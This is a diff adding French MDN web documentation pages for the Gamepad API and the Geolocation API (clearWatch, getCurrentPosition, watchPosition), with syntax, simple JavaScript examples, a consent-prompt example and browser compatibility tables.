+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/GamepadHapticActuator" title="The GamepadHapticActuator interface of the Gamepad API represents hardware in the controller designed to provide haptic feedback to the user (if available), most commonly vibration hardware."><code>GamepadHapticActuator</code></a></dt>
+ <dd>Represents hardware in the controller designed to provide haptic feedback to the user (if available), most commonly vibration hardware.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/GamepadPose" title="The GamepadPose interface of the Gamepad API represents the pose of a WebVR controller at a given timestamp (which includes orientation, position, velocity, and acceleration information.)"><code>GamepadPose</code></a></dt>
+ <dd>Represents the pose of a controller (e.g. position and orientation in 3D space) in the case of a <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebVR_API">WebVR</a>controller.</dd>
+</dl>
+
+<p>See also the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Gamepad#Experimental_extensions_to_Gamepad">extensions to the Gamepad interface</a>, for features that allow you to access the above information.</p>
+
+<h3 id="Extensions_à_d'autres_interfaces">Extensions à d'autres interfaces</h3>
+
+<h4 id="Navigator">Navigator</h4>
+
+<dl>
+ <dt>{{domxref("Navigator.getGamepads()")}}</dt>
+ <dd>An extension to the {{domxref("Navigator")}} object that returns an array of {{domxref("Gamepad")}} objects, one for each connected gamepad.</dd>
+</dl>
+
+<h4 id="Window_events">Window events</h4>
+
+<dl>
+ <dt>{{domxref("Window.ongamepadconnected")}}</dt>
+ <dd>Represents an event handler that will run when a gamepad is connected (when the {{event('gamepadconnected')}} event fires).</dd>
+ <dt>{{domxref("Window.ongamepaddisconnected")}}</dt>
+ <dd>Represents an event handler that will run when a gamepad is disconnected (when the {{event('gamepaddisconnected')}} event fires).</dd>
+</dl>
+
+<h2 id="Tutoriels_et_guides">Tutoriels et guides</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Gamepad_API/Using_the_Gamepad_API">Using the Gamepad API</a></li>
+ <li><a href="/en-US/docs/Games/Techniques/Controls_Gamepad_API">Implementing controls using the Gamepad API</a></li>
+</ul>
+
+<h2 id="Caractéristiques">Caractéristiques</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("GamepadExtensions")}}</td>
+   <td>{{Spec2("GamepadExtensions")}}</td>
+   <td>Defines the {{anch("Experimental Gamepad extensions")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Gamepad", "", "The Gamepad API specification")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_du_navigateur">Compatibilité du navigateur</h2>
+
+
+
+<p>{{Compat("api.Gamepad")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a class="external text" href="https://hacks.mozilla.org/2013/12/the-gamepad-api/" rel="nofollow">The Gamepad API</a> by Ted Mielczarek and Robert Nyman</li>
+ <li><a href="http://luser.github.io/gamepadtest/">Simple API demo page</a> (<a href="https://github.com/luser/gamepadtest">source</a>)</li>
+</ul>
diff --git a/files/fr/web/api/geolocation/clearwatch/index.html b/files/fr/web/api/geolocation/clearwatch/index.html
new file mode 100644
index 0000000000..b60b0df663
--- /dev/null
+++ b/files/fr/web/api/geolocation/clearwatch/index.html
@@ -0,0 +1,143 @@
+---
+title: Geolocation.clearWatch()
+slug: Web/API/Geolocation/clearWatch
+tags:
+  - API
+  - Besoin d'exemple
+  - Géolocalisation
+  - Géolocalisation API
+  - Méthode
+  - Reference
+translation_of: Web/API/Geolocation/clearWatch
+---
+<p>{{ APIref("Geolocation API") }}</p>
+
+<p>La méthode <strong><code>Geolocation.clearWatch()</code></strong> est utilisée pour libérer les ressources de localisation/erreur créées antérieurement en utilisant {{domxref("Geolocation.watchPosition()")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">navigator.geolocation.clearWatch(<em>id</em>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><em>id</em></dt>
+ <dd>Le nombre ID est donné par la méthode qui permet la localisation : {{domxref("Geolocation.watchPosition()")}} ; ressource que vous désirez supprimer.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">var id, target, option;
+
+function success(pos) {
+  var crd = pos.coords;
+
+  if (target.latitude === crd.latitude &amp;&amp; target.longitude === crd.longitude) {
+    console.log('Congratulation, you reach the target');
+    navigator.geolocation.clearWatch(id);
+  }
+};
+
+function error(err) {
+  console.warn('ERROR(' + err.code + '): ' + err.message);
+};
+
+target = {
+  latitude : 0,
+  longitude: 0,
+}
+
+options = {
+  enableHighAccuracy: false,
+  timeout: 5000,
+  maximumAge: 0
+};
+
+id = navigator.geolocation.watchPosition(success, error, options);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Spécification initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caractéristique</th>
+   <th>Chrome</th>
+   <th>Limite</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    Supprimé en 15.0<br>
+    Réintroduite en 16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caractéristique</th>
+   <th>Android</th>
+   <th>Chrome pour Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation" title="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>{{domxref("Geolocation")}}</li>
+ <li>{{domxref("Geolocation.watchPosition()")}}</li>
+ <li>{{domxref("Geolocation.getCurrentPosition()")}}</li>
+</ul>
diff --git a/files/fr/web/api/geolocation/getcurrentposition/index.html b/files/fr/web/api/geolocation/getcurrentposition/index.html
new file mode 100644
index 0000000000..25c0c9d97c
--- /dev/null
+++ b/files/fr/web/api/geolocation/getcurrentposition/index.html
@@ -0,0 +1,90 @@
+---
+title: Geolocation.getCurrentPosition()
+slug: Web/API/Geolocation/getCurrentPosition
+tags:
+  - API
+  - Geolocation
+  - Méthode
+  - Reference
+translation_of: Web/API/Geolocation/getCurrentPosition
+---
+<div>{{securecontext_header}}{{APIRef("Geolocation API")}}</div>
+
+<p>La méthode <strong><code>Geolocation.getCurrentPosition()</code></strong> fournit la position actuelle de l'appareil.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">navigator.geolocation.getCurrentPosition(<em>success[</em>, <em>error[</em>, <em>[options]]</em>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>success</code></dt>
+ <dd>Une fonction de rappel qui prend un objet {{domxref("Position")}} comme argument.</dd>
+ <dt><code>error</code> {{optional_inline}}</dt>
+ <dd>Une fonction de rappel qui prend un objet {{domxref("PositionError")}} comme argument.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>Un objet {{domxref("PositionOptions")}} optionnel. Les options décrites par cet objet sont :
+ <ul>
+  <li><code>maximumAge</code> : un entier qui exprime une durée en millisecondes ou l'infini pour indiquer la durée maximale pendant laquelle mettre en cache la position.</li>
+  <li><code>timeout</code> : un entier qui exprime la durée, en millisecondes, avant que la fonction de rappel <code>error</code> soit appelé. Si cette propriété vaut <code>0</code>, la fonction d'erreur ne sera jamais appelée.</li>
+  <li><code>enableHighAccuracy</code> : un booléen qui indique si une précision élevée est requise.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var options = {
+  enableHighAccuracy: true,
+  timeout: 5000,
+  maximumAge: 0
+};
+
+function success(pos) {
+  var crd = pos.coords;
+
+  console.log('Votre position actuelle est :');
+  console.log(`Latitude : ${crd.latitude}`);
+  console.log(`Longitude : ${crd.longitude}`);
+  console.log(`La précision est de ${crd.accuracy} mètres.`);
+}
+
+function error(err) {
+  console.warn(`ERREUR (${err.code}): ${err.message}`);
+}
+
+navigator.geolocation.getCurrentPosition(success, error, options);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Spécification initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.Geolocation.getCurrentPosition")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation" title="/en-US/docs/WebAPI/Using_geolocation">Utiliser la géolocalisation</a></li>
+ <li>{{domxref("Navigator.geolocation")}}</li>
+</ul>
diff --git a/files/fr/web/api/geolocation/index.html b/files/fr/web/api/geolocation/index.html
new file mode 100644
index 0000000000..0dd4b6917a
--- /dev/null
+++ b/files/fr/web/api/geolocation/index.html
@@ -0,0 +1,120 @@
+---
+title: Geolocation
+slug: Web/API/Geolocation
+tags:
+  - API
+  - Avancé
+  - Géolocalisation API
+  - Interface
+  - Reference
+translation_of: Web/API/Geolocation
+---
+<div>{{APIRef("Geolocation API")}}</div>
+
+<p>En intégrant l'interface <code><strong>Geolocation</strong></code>, on peut obtenir la position d'un ordinateur, d'un téléphone ou d'une tablette, ce qui permet aux contenus Web d'accéder à leur localisation. Un site internet ou une application mobile peut alors offrir divers services liés à la localisation de l'utilisateur.</p>
+
+<p>On obtient un objet par le biais de cette interface avec la propriété {{domxref("NavigatorGeolocation.geolocation")}} proposée par l'objet {{domxref("Navigator")}} .</p>
+
+<div class="note">
+<p><strong>Note:</strong> Pour des raisons de sécurité, quand une page web tente d'accéder aux données de localisation, l'utilisateur est prévenu, et son accord lui est demandé. Sachez que chaque navigateur a ses propres méthodes et politiques pour gérer les autorisations.</p>
+</div>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>L'interface de géolocalisation n'utilise ou n'hérite d'aucune propriété.</em></p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>L'interface de géolocalisation n'hérite d'aucune méthode.</em></p>
+
+<dl>
+ <dt>{{domxref("Geolocation.getCurrentPosition()")}}</dt>
+ <dd>Determine la position actuelle de l'appareil et donne en retour l'objet {{domxref("Position")}} avec sa valeur.</dd>
+ <dt>{{domxref("Geolocation.watchPosition()")}}</dt>
+ <dd>Retourne une valeur <code>long</code> représentant la nouvelle fonction callback, créée pour être utilisée à chaque fois que la position de l'appareil change.</dd>
+ <dt>{{domxref("Geolocation.clearWatch()")}}</dt>
+ <dd>Supprime le lien créé par la précédente utilisation de <code>watchPosition()</code>.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Spécification initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caractéristique</th>
+   <th>Chrome</th>
+   <th>Limite</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    Removed in 15.0<br>
+    Reintroduced in 16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caractéristique</th>
+   <th>Android</th>
+   <th>Chrome pour Android</th>
+   <th>Limite</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation" title="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+</ul>
diff --git a/files/fr/web/api/geolocation/watchposition/index.html b/files/fr/web/api/geolocation/watchposition/index.html
new file mode 100644
index 0000000000..00b5d17796
--- /dev/null
+++ b/files/fr/web/api/geolocation/watchposition/index.html
@@ -0,0 +1,155 @@
+---
+title: Geolocation.watchPosition()
+slug: Web/API/Geolocation/watchPosition
+tags:
+  - API
+  - Exemple
+  - Géolocalisation
+  - Géolocalisation API
+  - Méthode
+  - Reference
+translation_of: Web/API/Geolocation/watchPosition
+---
+<p>{{ APIref("Geolocation API") }}</p>
+
+<p>La méthode <strong><code>Geolocation.watchPosition()</code></strong> permet de manipuler une fonction appelée automatiquement à chaque fois que la position de l'appareil change. Vous pouvez de même, en option, manipuler une autre fonction appelée automatiquement pour gérer les erreurs.</p>
+
+<p>Cette méthode retourne une valeur ID de veille qui permet de libérer les fonctions déclarées automatiquement, évoquées précédemment, à l'aide de la méthode {{domxref("Geolocation.clearWatch()")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>id</em> = navigator.geolocation.watchPosition(<em>success[</em>, <em>error[</em>, <em>options]]</em>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><em>success</em></dt>
+ <dd>Nom d'une fonction appelée qui a pour paramètre l'objet {{domxref("Position")}}.</dd>
+ <dt><em>error</em> {{optional_inline}}</dt>
+ <dd>Nom d'une fonction optionnelle qui a pour paramètre l'objet {{domxref("PositionError")}}.</dd>
+ <dt><em>options</em> {{optional_inline}}</dt>
+ <dd>Un objet optionnel {{domxref("PositionOptions")}}.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">var id, target, options;
+
+function success(pos) {
+  var crd = pos.coords;
+
+  if (target.latitude === crd.latitude &amp;&amp; target.longitude === crd.longitude) {
+    console.log('Bravo, vous avez atteint la cible');
+    navigator.geolocation.clearWatch(id);
+  }
+}
+
+function error(err) {
+  console.warn('ERROR(' + err.code + '): ' + err.message);
+}
+
+target = {
+  latitude : 0,
+  longitude: 0
+};
+
+options = {
+  enableHighAccuracy: false,
+  timeout: 5000,
+  maximumAge: 0
+};
+
+id = navigator.geolocation.watchPosition(success, error, options);
+</pre>
+
+<div class="note"><strong>Note : </strong>Si votre application fonctionne sous Firefox OS, veillez à la <a href="/en-US/docs/Web/API/Geolocation/navigator.requestWakeLock()">geolocation wake lock</a> pour que votre application continue à recevoir les changements de positions si votre application tourne en tâche de fond, ou si votre écran est éteint.
+
+<p> </p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#watch-position', 'Geolocation.watchPosition()')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Specification initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Navigateurs_compatibles">Navigateurs compatibles</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caractère</th>
+   <th>Chrome</th>
+   <th>Limite</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    Supprimé de 15.0<br>
+    Réintroduit en 16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caractère</th>
+   <th>Android</th>
+   <th>Chrome pour Android</th>
+   <th>Limite</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Geolocation/navigator.requestWakeLock()">geolocation wake lock</a></li>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation" title="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>L'interface qui lui est réservée, {{domxref("Geolocation")}}, et la façon d'y accéder {{domxref("NavigatorGeolocation.geolocation")}}.</li>
+ <li>L'opération inverse : {{domxref("Geolocation.clearWatch()")}}</li>
+ <li>Une méthode similaire : {{domxref("Geolocation.getCurrentPosition()")}}</li>
+</ul>
diff --git a/files/fr/web/api/geolocation_api/index.html b/files/fr/web/api/geolocation_api/index.html
new file mode 100644
index 0000000000..330ac12430
--- /dev/null
+++ b/files/fr/web/api/geolocation_api/index.html
@@ -0,0 +1,246 @@
+---
+title: Geolocation API (API de géolocalisation)
+slug: Web/API/Geolocation_API
+tags:
+  - API
+  - GPS
+  - Geolocation
+  - Géolocalisation
+translation_of: Web/API/Geolocation_API
+---
+<div>{{securecontext_header}}{{DefaultAPISidebar("Geolocation API")}}</div>
+
+<p>L'API <strong>Geolocation </strong>(pour géolocalisation) permet à un utilisateur d'indiquer sa localisation à une application web s'il le souhaite. Pour des raisons de vie privée, l'application doit demander la permission à l'utilisateur de manipuler ces informations.</p>
+
+<h2 id="Lobjet_geolocation">L'objet <code>geolocation</code></h2>
+
+<p>L'API <a href="/fr/docs/Web/API/Geolocation">Geolocation</a> est publiée via l'objet {{domxref("navigator.geolocation")}}.</p>
+
+<p>Si l'objet existe, les services de géolocalisation sont disponibles. On peut donc tester la présence de ces fonctionnalités de cette façon :</p>
+
+<pre class="brush: js">if ("geolocation" in navigator) {
+  /* la géolocalisation est disponible */
+} else {
+  /* la géolocalisation n'est pas disponible */
+}
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Pour Firefox 24 et les versions antérieures, <code>"geolocation" in navigator</code> renvoyait toujours <code>true</code> même si l'API était désactivée. Cela a été corrigé à partir de <a href="/en-US/docs/Mozilla/Firefox/Releases/25/Site_Compatibility">Firefox 25</a> afin de respecter la spécification ({{bug(884921)}}).</p>
+</div>
+
+<h3 id="Obtenir_la_position_actuelle">Obtenir la position actuelle</h3>
+
+<p>Afin d'obtenir la position actuelle de l'utilisateur, on peut appeler la méthode {{domxref("geolocation.getCurrentPosition()","getCurrentPosition()")}}. Cela initie une requête asynchrone pour détecter la position de l'utilisateur en demandant au composant matériel une position à jour. Lorsque la position est déterminée, la fonction de <em>callback</em> est appelée. Il est possible de fournir un deuxième <em>callback</em> afin de gérer les erreurs. Le troisième paramètre de la fonction, optionnel, est un objet d'options qui indique l'âge maximal pour la position, le temps à attendre l'exécution de la requête et si on souhaite obtenir une précision élevée pour la position.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Par défaut {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}} tente de répondre aussi rapidement que possible quitte à ce que le résultat soit peu précis. Cela permet de répondre rapidement (potentiellement avec des données peu précises comme l'IP ou le WiFi) plutôt que d'attendre une ou plusieurs minutes le calibrage du GPS.</p>
+</div>
+
+<pre class="brush: js">navigator.geolocation.getCurrentPosition(function(position) {
+  faireQqc(position.coords.latitude, position.coords.longitude);
+});</pre>
+
+<p>Dans l'exemple ci-avant, la fonction <code>faireQqc()</code> sera exécutée quand la localisation sera obtenue.</p>
+
+<h3 id="Suivre_lévolution_de_la_position">Suivre l'évolution de la position</h3>
+
+<p>Si les données de position changent (que l'appareil ait bougé ou que des informations de géolocalisation plus précises soient disponibles), on peut définir une fonction de <em>callback</em> qui sera appelée avec les informations mises à jour</p>
+
+<p>Pour cela, on utilise la fonction {{domxref("Geolocation.watchPosition()","watchPosition()")}} qui utilise les mêmes paramètres d'entrée que {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}. Ce <em>callback</em> est appelé plusieurs fois, permettant au navigateur de mettre à jour la position lorsqu'on se déplace ou lorsque des données plus précises sont fournies. La fonction de rappel pour la gestion des erreurs (optionnelle) peut aussi être appelée de façon répétée.</p>
+
+<div class="note">
+<p><strong>Note :</strong> On peut utiliser {{domxref("Geolocation.watchPosition()","watchPosition()")}} sans avoir d'abord appelé {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}.</p>
+</div>
+
+<pre class="brush: js">var watchID = navigator.geolocation.watchPosition(function(position) {
+  faireQqc(position.coords.latitude, position.coords.longitude);
+});</pre>
+
+<p>La méthode {{domxref("Geolocation.watchPosition()","watchPosition()")}} renvoie un identifiant qui peut être utilisé afin de redemander la position. Cet identifiant peut également être passé à la méthode {{domxref("Geolocation.clearWatch()","clearWatch()")}} afin d'arrêter le suivi de la position.</p>
+
+<pre class="brush: js">navigator.geolocation.clearWatch(watchID);
+</pre>
+
+<h3 id="Paramétrer_la_réponse">Paramétrer la réponse</h3>
+
+<p>{{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}} et {{domxref("Geolocation.watchPosition()","watchPosition()")}} prennent en argument un <em>callback</em> appelé en cas de succès, un deuxième <em>callback</em> (optionnel) appelé en cas d'erreur et un troisième argument (optionnel) qui est un objet <code><a href="/fr/docs/Web/API/PositionOptions">PositionOptions</a></code>.</p>
+
+<p>Un appel à {{domxref("Geolocation.watchPosition()","watchPosition")}} peut donc ressembler à :</p>
+
+<pre class="brush: js">function geo_success(position) {
+  do_something(position.coords.latitude, position.coords.longitude);
+}
+
+function geo_error() {
+  alert("Sorry, no position available.");
+}
+
+var geo_options = {
+  enableHighAccuracy: true,
+  maximumAge        : 30000,
+  timeout           : 27000
+};
+
+var wpid = navigator.geolocation.watchPosition(geo_success, geo_error, geo_options);</pre>
+
+<h2 id="Décrire_une_position">Décrire une position</h2>
+
+<p>La position de l'utilisateur est décrite par un objet {{domxref("Position")}} qui fait référence à un objet {{domxref("Coordinates")}} via la propriété <code>coords</code>.</p>
+
+<p>{{page("/fr/docs/Web/API/Position")}}</p>
+
+<p>{{page("/fr/docs/Web/API/Position/coords","Coordinates")}}</p>
+
+<h2 id="Gérer_les_erreurs">Gérer les erreurs</h2>
+
+<p>Le <em>callback</em> de gestion des erreurs (s'il est passé à <code>getCurrentPosition()</code> ou <code>watchPosition()</code>) s'attend à recevoir un objet <code><a href="/fr/docs/Web/API/PositionError">PositionError</a></code> comme premier paramètre.</p>
+
+<pre class="brush: js">function errorCallback(error) {
+  alert('ERROR(' + error.code + '): ' + error.message);
+};
+</pre>
+
+<h2 id="Exemple_interactif">Exemple interactif</h2>
+
+<div class="hidden">
+<pre class="brush: css">body {
+  padding: 20px;
+  background-color:#ffffc9
+}
+
+button {
+  margin: .5rem 0;
+}
+</pre>
+</div>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html;">&lt;button id = "find-me"&gt;Montrer ma localisation&lt;/button&gt;&lt;br/&gt;
+&lt;p id = "status"&gt;&lt;/p&gt;
+&lt;a id = "map-link" target="_blank"&gt;&lt;/a&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">function geoFindMe() {
+
+  const status = document.querySelector('#status');
+  const mapLink = document.querySelector('#map-link');
+
+  mapLink.href = '';
+  mapLink.textContent = '';
+
+  function success(position) {
+    const latitude  = position.coords.latitude;
+    const longitude = position.coords.longitude;
+
+    status.textContent = '';
+    mapLink.href = `https://www.openstreetmap.org/#map=18/${latitude}/${longitude}`;
+    mapLink.textContent = `Latitude: ${latitude} °, Longitude: ${longitude} °`;
+  }
+
+  function error() {
+    status.textContent = 'Unable to retrieve your location';
+  }
+
+  if (!navigator.geolocation) {
+    status.textContent = 'Geolocation is not supported by your browser';
+  } else {
+    status.textContent = 'Locating…';
+    navigator.geolocation.getCurrentPosition(success, error);
+  }
+
+}
+
+document.querySelector('#find-me').addEventListener('click', geoFindMe);
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemple_interactif', 350, 150, "", "", "", "geolocation")}}</p>
+
+<h2 id="Demander_la_permission">Demander la permission</h2>
+
+<p>Pour une extension, toute utilisation des données de géolocalisation ne peut se faire qu'après avoir obtenu la permission. La fonction qui suit permet de demander la permission de façon semblable au rendu des pages web. La réponse de l'utilisateur est enregistrée dans la préférence indiquée par le paramètre <code>pref</code>. La fonction fournie dans le paramètre de <code>callback</code> sera appelée avec une valeur booléenne qui indique la réponse de l'utilisateur. Lorsque cette dernière vaut <code>true</code>, le module complémentaire pourra accéder aux données de géolocalisation.</p>
+
+<pre class="brush: js">function prompt(window, pref, message, callback) {
+    let branch = Components.classes["@mozilla.org/preferences-service;1"]
+                           .getService(Components.interfaces.nsIPrefBranch);
+
+    if (branch.getPrefType(pref) === branch.PREF_STRING) {
+        switch (branch.getCharPref(pref)) {
+        case "always":
+            return callback(true);
+        case "never":
+            return callback(false);
+        }
+    }
+
+    let done = false;
+
+    function remember(value, result) {
+        return function() {
+            done = true;
+            branch.setCharPref(pref, value);
+            callback(result);
+        }
+    }
+
+    let self = window.PopupNotifications.show(
+        window.gBrowser.selectedBrowser,
+        "geolocation",
+        message,
+        "geo-notification-icon",
+        {
+            label: "Share Location",
+            accessKey: "S",
+            callback: function(notification) {
+                done = true;
+                callback(true);
+            }
+        }, [
+            {
+                label: "Always Share",
+                accessKey: "A",
+                callback: remember("always", true)
+            },
+            {
+                label: "Never Share",
+                accessKey: "N",
+                callback: remember("never", false)
+            }
+        ], {
+            eventCallback: function(event) {
+                if (event === "dismissed") {
+                    if (!done) callback(false);
+                    done = true;
+                    window.PopupNotifications.remove(self);
+                }
+            },
+            persistWhileVisible: true
+        });
+}
+
+prompt(window,
+       "extensions.foo-addon.allowGeolocation",
+       "Foo Add-on wants to know your location.",
+       function callback(allowed) { alert(allowed); });
+</pre>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.Geolocation")}}</p>
+
+<h3 id="Disponibilité">Disponibilité</h3>
+
+<p>La localisation basée sur le WiFi étant généralement obtenue via un service Google, l'API de géolocalisation peut être indisponible en Chine. Vous pouvez utiliser des fournisseurs tiers tels que <a href="http://lbsyun.baidu.com/index.php?title=jspopular/guide/geolocation">Baidu</a>, <a href="https://lbs.amap.com/api/javascript-api/guide/services/geolocation#geolocation">Autonavi</a> ou <a href="http://lbs.qq.com/tool/component-geolocation.html">Tencent</a>. Ces services se basent sur l'adresse IP de l'utilisateur ou sur une application locale afin de fournir un positionnement amélioré.</p>
+
